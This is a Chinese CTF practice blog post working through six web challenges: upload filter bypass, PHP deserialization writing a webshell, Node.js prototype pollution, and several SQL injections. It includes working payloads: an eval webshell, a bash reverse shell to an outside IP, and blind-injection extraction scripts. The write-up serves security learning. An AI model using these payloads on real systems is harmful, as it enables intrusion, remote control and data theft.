> 文章列表 > 刷题(第三周)

刷题(第三周)

刷题(第三周)

目录

[CISCN2021 Quals]upload

[羊城杯 2020]EasySer

[网鼎杯 2020 青龙组]notes

[SWPU2019]Web4

[Black Watch 入群题]Web

[HFCTF2020]BabyUpload


[CISCN2021 Quals]upload

打开界面以后,发现直接给出了源码

<?php
if (!isset($_GET["ctf"])) {highlight_file(__FILE__);die();
}if(isset($_GET["ctf"]))$ctf = $_GET["ctf"];if($ctf=="upload") {if ($_FILES['postedFile']['size'] > 1024*512) {die("这么大个的东西你是想d我吗?");}$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);if ($imageinfo === FALSE) {die("如果不能好好传图片的话就还是不要来打扰我了");}if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {die("东西不能方方正正的话就很讨厌");  //宽度高度像素值要为1}$fileName=urldecode($_FILES['postedFile']['name']);//检测内容的 不能含有 c i h phif(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {die("有些东西让你传上去的话那可不得了");}$imagePath = "image/" . mb_strtolower($fileName);if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {echo "upload success, image at $imagePath";} else {die("传都没有传上去");}
}

  1、肯定是上传一个伪装的图片
   2、并且宽高各为1
   3、这时候考虑内容会不会是那种base64加密,然后解密具体未知
   4、他是通过什么上传呢,我们可以想一下,我感觉是通过网页。html进行上传
   5、我们如何往里面写入shell呢

 首先我们提出了问题,感觉这样做题才会动动脑子,下面来解决问题

 2.这里我们完全可以用 #define width /height 1来控制

 3.这里是我理解错了以为是内容但是,urldecode($_FILES['postedFile']['name']);,是获得传参的名字,先通过url解码在判断所以二次编码也不行,禁用了c i h ph,这不相当于禁用了user.ini htaccess php🐕狠的。

5.这里首先想到的就是图片码

但是后缀名都没了咋利用呢:

 扫目录发现了一个example.php,然后我们打开看一下源码

<?php
if (!isset($_GET["ctf"])) {highlight_file(__FILE__);die();
}if(isset($_GET["ctf"]))$ctf = $_GET["ctf"];if($ctf=="poc") {//这里需要为poc$zip = new \\ZipArchive();$name_for_zip = "example/" . $_POST["file"];
//这里是zip的位置,file是我们输入的if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {#文件类型不等于zipdie("要不咱们再看看?");}if ($zip->open($name_for_zip) !== TRUE) {die ("都不能解压呢");}echo "可以解压,我想想存哪里";$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);$zip->extractTo($pos_for_zip);#解压缩文件$zip->close();unlink($name_for_zip);$files = glob("$pos_for_zip/*");#寻找匹配的路径foreach($files as $file){if (is_dir($file)) {#判断给定文件名是否是一个目录continue;}$first = imagecreatefrompng($file);#由文件或 URL 创建一个新图象。$size = min(imagesx($first), imagesy($first));#找出长或宽的最小值$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);#裁剪图像按指定的格式if ($second !== FALSE) {$final_name = pathinfo($file)["basename"];#返回文件路径的信息imagepng($second, 'example/'.$final_name);#以 PNG 格式将图像输出到浏览器或文件imagedestroy($second);#销毁一图像}imagedestroy($first);unlink($file);}}

 但是zip,不是还是用到i了嘛,说明肯定有办法来代替,

可以利用一些unicode字符绕过。
<?php
var_dump(mb_strtolower('İ')==='i');
?>
结果为true
且前面还进行了url解密。所以可以用%c4%b0代替'İ'字符

 

 捏,为啥报错呢,如果我有罪请让法律制裁我,而不是报错 qwq

[羊城杯 2020]EasySer

 打开界面一个apache的数信通道,源码 session都看了个编,没信息,然后访问 robots.txt和www.zip,这两个比较常有。

继续访问 访问后查看源码,不安全的协议 http,因为https有加密,然后http://127.0.0.1/ser.php,这个为啥事本地呢,因为填别的就会报错所以推断 ssrf

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?> your hat is too black!

 死亡绕过,构造比较简单就是

<?phpclass GWHT{public $hero;public function __construct(){$this->hero = new Yongen();}// public function __toString(){// }
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct() {$this -> file = "php://filter/write=convert.base64-decode/resource=ameuu.php";$this -> text = "aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="; // eval($_POST['cmd']);}// public function hasaki(){//     $d   = '<?php die("nononon");';//     $a= $d. $this->text;//      @file_put_contents($this-> file,$a);// }
}
var_dump(urlencode(serialize(new GWHT())));?>

呃呃呃但是发现了一个尴尬的事情,界面没有传参接口如何传入序列化的数据呢,arjun直接扫描就会扫出来一个c,然后传参就可以了。

[网鼎杯 2020 青龙组]notes

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');  //前面都是导入模块
const { exec } = require('child_process');  //看见这个重点,因为nodejs这个可以导致命令执行  var app = express();
class Notes {constructor() {    //构造赋值操作this.owner = "whoknows";this.num = 0;this.note_list = {};}write_note(author, raw_note) {this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};}get_note(id) {//按照名字推测var r = {}undefsafe(r, id, undefsafe(this.note_list, id));return r;}edit_note(id, author, raw) { //修改noteundefsafe(this.note_list, id + '.author', author);undefsafe(this.note_list, id + '.raw_note', raw);}get_all_notes() {return this.note_list;}remove_note(id) {delete this.note_list[id];}
}var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));app.get('/', function(req, res, next) {res.render('index', { title: 'Notebook' });
});app.route('/add_note').get(function(req, res) {res.render('mess', {message: 'please use POST to add a note'});}).post(function(req, res) {let author = req.body.author;let raw = req.body.raw;if (author && raw) {notes.write_note(author, raw);res.render('mess', {message: "add note sucess"});} else {res.render('mess', {message: "did not add note"});}})app.route('/edit_note').get(function(req, res) {res.render('mess', {message: "please use POST to edit a note"});}).post(function(req, res) {let id = req.body.id;let author = req.body.author;let enote = req.body.raw;if (id && author && enote) {notes.edit_note(id, author, enote);res.render('mess', {message: "edit note sucess"});} else {res.render('mess', {message: "edit note failed"});}})app.route('/delete_note').get(function(req, res) {res.render('mess', {message: "please use POST to delete a note"});}).post(function(req, res) {let id = req.body.id;if (id) {notes.remove_note(id);res.render('mess', {message: "delete done"});} else {res.render('mess', {message: "delete failed"});}})app.route('/notes').get(function(req, res) {let q = req.query.q;let a_note;if (typeof(q) === "undefined") {a_note = notes.get_all_notes();} else {a_note = notes.get_note(q);}res.render('note', {list: a_note});})app.route('/status').get(function(req, res) {let commands = {"script-1": "uptime","script-2": "free -m"};for (let index in commands) {exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {  //这里非常的关键,因为exec可以导致命令执行,所以只需要command里面有危险函数就可以了if (err) {return;}console.log(`stdout: ${stdout}`);});}res.send('OK');res.end();})app.use(function(req, res, next) {res.status(404).send('Sorry cant find that!');
});app.use(function(err, req, res, next) {console.error(err.stack);res.status(500).send('Something broke!');
});const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

这个代码的出口找到了,就是/status路由,污染也确定了其实就是污染commands,但是以往的危险函数都是merge,却没有

先看一个前提条件:

a={"a":1,"b":2}
b={}
b.__proto__.c=333
for (let i in a){console.log(i)}

输出结果是a  b c,原型链污染,而我们的目的就是让commands出现一个,commands.a=后面可以跟一个反弹shell

let commands = {"script-1": "uptime","script-2": "free -m"};

 网上查到undefsafe也和merge类似,例子:

var a = require("undefsafe");
var b = {};
var c = {};
var payload = "__proto__.ddd";
a(b,payload,"JHU");
console.log(c.ddd);

这里输出为:JHU,因为找c.ddd找不到,就是找上一级 object.ddd,

在class Notes中:

  edit_note(id, author, raw) { //修改note
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

这里运用了然后找到了一个路由正好调用他

app.route('/edit_note').get(function(req, res) {res.render('mess', {message: "please use POST to edit a note"});}).post(function(req, res) {let id = req.body.id;let author = req.body.author;let enote = req.body.raw;if (id && author && enote) {notes.edit_note(id, author, enote);res.render('mess', {message: "edit note sucess"});} else {res.render('mess', {message: "edit note failed"});}})

undefsage(b,__proto__.ddd,"JHU"); b就是个对象,然后格式这样

所以传入的id肯定是__proto__,this.note_list无所谓随便传就行,然后最后的author弄一个反弹shell就行了。

bash+-i+>&+/dev/tcp/44.93.248.44/7777+0>&1,因为命令中含有&所以需要url编码

id=__proto__&author=bash+-i+%3e%26+%2fdev%2ftcp%2f127.127.224.57%2f7777+0%3e%261&raw=aaa

[SWPU2019]Web4

打开界面就是一个登录框,但是点登陆没反应,点击注册也是功能尚未开发 

 burp抓包发现数据是json模式,这点看格式或者看type类型都可以看出来,

上次提到的'报错,“不报错说明存在堆叠注入,        

 但是尝试show databases这些都没任何的返回值,所以推测是用时间盲注来搞得,但是过滤的函数

我尝试了一下如果被过滤了就会返回,202,否则报错。

 使用16进制+预编译手段绕过

import requests
import json
import timedef main():#题目地址url = '''http://dd10f5da-efa9-4241-8f27-c4a4256ecd61.node4.buuoj.cn:81/index.php?r=Login/Login'''#注入payloadpayloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"flag = ''for i in range(1,30):#查询payload#payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"#payload = "select if(ascii(substr((select database()),{0},1))={1},sleep(3),1)"payload = "select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{0},1))={1},sleep(3),1)"for j in range(0,128):#将构造好的payload进行16进制转码和json转码datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}#这里直接进行转变进制data = json.dumps(datas)times = time.time()res = requests.post(url = url, data = data)if time.time() - times >= 3:flag = flag + chr(j)print(flag)breakdef str_to_hex(s):return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':main()

首先一个一个文件看入口,在fun.php中

if(!empty($_REQUEST['r']))//传入参数r
{$r = explode('/', $_REQUEST['r']);//以/为间隔分开list($controller,$action) = $r;//把前两个当作键值,赋值给 controller action着两个键名$controller = "{$controller}Controller"; //比如我们传入的是 index/flag      $controller=index $action=flag$action = "action{$action}";#就会变成了,indexController   actionflagif(class_exists($controller))  //查看indexController是否存在{if(method_exists($controller,$action))//里面的方法是否存在{//}else{$action = "actionIndex";   //默认值是actionIndex}}else{$controller = "LoginController";$action = "actionIndex";}$data = call_user_func(array( (new $controller), $action)); //调用上面类中的方法
} else {header("Location:index.php?r=Login/Index");

所以我们现在需要找一个有用的,xxxController 中的 actionxxx

锁定了一下就这两个类符合条件,然后深入看一下

class UserController extends BaseController
{// 访问列表public function actionList(){$params = $_REQUEST;$userModel = new UserModel();$listData = $userModel->getPageList($params);$this->loadView('userList', $listData );}public function actionIndex(){$listData = $_REQUEST;$this->loadView('userIndex',$listData);}}

 发现都是调用了loadView这个方法,进去 看一下

public function loadView($viewName ='', $viewData = []){$this->viewPath = BASE_PATH . "/View/{$viewName}.php";if(file_exists($this->viewPath)){extract($viewData);//况且这里还有一个变量覆盖include $this->viewPath;  #感觉这里有些异常,如果我们最后调用这个就可以直接include包含flag了}}

漏洞方法无疑了,extract include,并且extrac中的参数是我们可控的,ViewPath的值为 /view/userIndex.php

 if(!isset($img_file)) {$img_file = '/../favicon.ico';}$img_dir = dirname(__FILE__) . $img_file;$img_base64 = imgToBase64($img_dir);echo '<img src="' . $img_base64 . '">';       //图片形式展示?></div>
<?php
function imgToBase64($img_file) {$img_base64 = '';if (file_exists($img_file)) {$app_img_file = $img_file; // 图片路径$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等$fp = fopen($app_img_file, "r"); // 图片是否可读权限if ($fp) {$filesize = filesize($app_img_file);$content = fread($fp, $filesize);$file_content = chunk_split(base64_encode($content)); // base64编码switch ($img_info[2]) {           //判读图片类型case 1: $img_type = "gif";break;case 2: $img_type = "jpg";break;case 3: $img_type = "png";break;}$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码}fclose($fp);}return $img_base64; //返回图片的base64
}
?>

其实就是读取传入文件的信息的base64编码,那么我们只要把$img_file = '/../favicon.ico';变成我们的flag不就可以了吗。

因为需要用Usercontroller中的actionIndex方法,所以这里需要换一下,然后flag的路径/../flag.php是参考 

题中给出favicon.ico的路径,测试了一下

cd ../ 

cd /../不一样,这里如果有大佬解释一下为啥是/../如何推算就更好了。

入口是因为题目给出的url, 

所以我们可以找一下r的位置所在的php然后一步步分析或者从include这些危险函数进行分析。

[Black Watch 入群题]Web

打开界面第一眼啥玩意,信息收集看看有什么有用的信息

结果发现啥都没有,目录扫不出来,最后在查看network的时候发现了异样

发现这竟然有一个隐藏的php文件,很明显id=1 id=2 id=3的界面显示的值也不一样,数字型注入,

盲注        

import json
import timeimport requests
payload2="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='news')),{},1))>{})^1"
#表名为admin contents
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1'  # 库名为news
payload3="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))>{})^1"
#id,username,password,is_enable
payload4="1^(ascii(substr((select(group_concat(username))from(admin)),{},1))>{})^1"#b496c811,04a5e847
#29f2a65f,c09e6137
url="http://64ab2e66-9512-4790-a171-dfad21f8c5b8.node4.buuoj.cn:81/backend/content_detail.php?id="flag=''for i in range(1,1000):low=28high=137mid=(low+high)//2while low<high:payload=url+payload4.format(i,mid)res=requests.get(payload)time.sleep(0.2)if "札师傅缺个女朋友" in str(res.json()):low=mid+1else:high=midmid=(low+high)//2if(chr(mid)==''):breakflag=flag+chr(mid)print(flag)
print(flag)

 总结:这个脚本不是特别的难,但是我调试的过程中报错挺多的,

首先请求太快,可以加个time.sleep(0.2)就可以

但是里面最好别用相同的变量名字,比如  payload=requests.get(payload) 这种

最好都用单引号 如果重了 用\\转义 即可

str(res.json()):  这是因为

返回的数据是json格式的,所以需要返回正常的字符串进行if判断。

本来以为是登陆时注入,搞了好久 wtcl

[HFCTF2020]BabyUpload

打开文件妥妥全部都是代码只能一部分一部分分析

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{$filename='/var/babyctf/success.txt';if(file_exists($filename)){safe_delete($filename);die($flag);}
}
else{$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){try{if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){throw new RuntimeException('invalid upload');}$file_path = $dir_path."/".$_FILES['up_file']['name'];$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);if(preg_match('/(\\.\\.\\/|\\.\\.\\\\\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}@mkdir($dir_path, 0700, TRUE);if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){$upload_result = "uploaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$upload_result = $e->getMessage();}
} elseif ($direction === "download") {try{$filename = basename(filter_input(INPUT_POST, 'filename'));$file_path = $dir_path."/".$filename;if(preg_match('/(\\.\\.\\/|\\.\\.\\\\\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}if(!file_exists($file_path)) {throw new RuntimeException('file not exist');}header('Content-Type: application/force-download');header('Content-Length: '.filesize($file_path));header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');if(readfile($file_path)){$download_result = "downloaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$download_result = $e->getMessage();}exit;
}
?>

 

呃呃分析过了我懒了,

直接给思路:

    $_SESSION['username'] ==='admin'
    $filename='/var/babyctf/success.txt';

满足以上两个条件就可以获得flag,

大略将一下流程,通过direction=upload进行文件上传,这里的上传路径为/var/babyctf/$attr/$username/文件名_hash(文件名),这里是最后保存的路径

direction=download,进行文件下载的功能,$file_path = $dir_path."/".$filename;,所以我们只要找到上传的文件名_加密就可以直接下载文件 ,session文件默认保存在sess_文件名,我们可以看一下

 因为session的加载器有三种

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

第一种,php类型生成的session文件为:    ykingh|s:3:"123";

第二种,php_binary类型生成的session文件为:ykinghs:3:"123";

第三种,php_serialize类型生成的session文件为:a:1:{s:6:"ykingh";s:3:"123";}
 

 很容易看出来是  php_binary格式的,

<?php
//ini_set('session_seralize_handler','php_binary');
//session_save_path('D:\\phpstudy_pro\\Extensions\\serialize');
//session_start();
//
//$_SESSION['username']='admin';
echo hash_file('sha256','D:\\phpstudy_pro\\Extensions\\serialize\\sess');

直接生成,这里需要改一下php.ini的

,然后修改名称为sess比较方便,生成sha256编码,先上传sess

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://610e53eb-1852-407b-9432-78d8749b9f5b.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="up_file" id="up_file"><br><!--name要根据题目的源码来调节--><input type="submit" name="submit" value="提交"><input type="text" name="direction" value="upload"/><br>  <input type="text" name="attr" value="" /><br>
</form>
</body>
</html>

 然后download试一下是否上传成功,

sess_根我们生成的sha256编码,上传进去了,还差那个文件是否存在,发现upload有mkdir(里面的就是/var/babyctf/$attr)这里的attr我们可以控制,目录!我们可以利用att参数创建一个success.txt文件夹,然后将sess传入success目录下,因为后面有个mkdir获取的还是我们的session文件的值,但是这个文件判断是在babyctf目录下!

简单来说,file_exits,如果是文件目录都可以为true,文件上传保存在/var/babyctf/$attr/$username/文件名,如果attr=success.txt,那么sess就保存在它里面,最后更改phpsessID为我们上传的sha256的值。

反思:确实没见过通过,上传一个session来更改进行伪造的题,涨知识了。 、

参考链接:[HFCTF2020]BabyUpload session解析引擎_-栀蓝-的博客-CSDN博客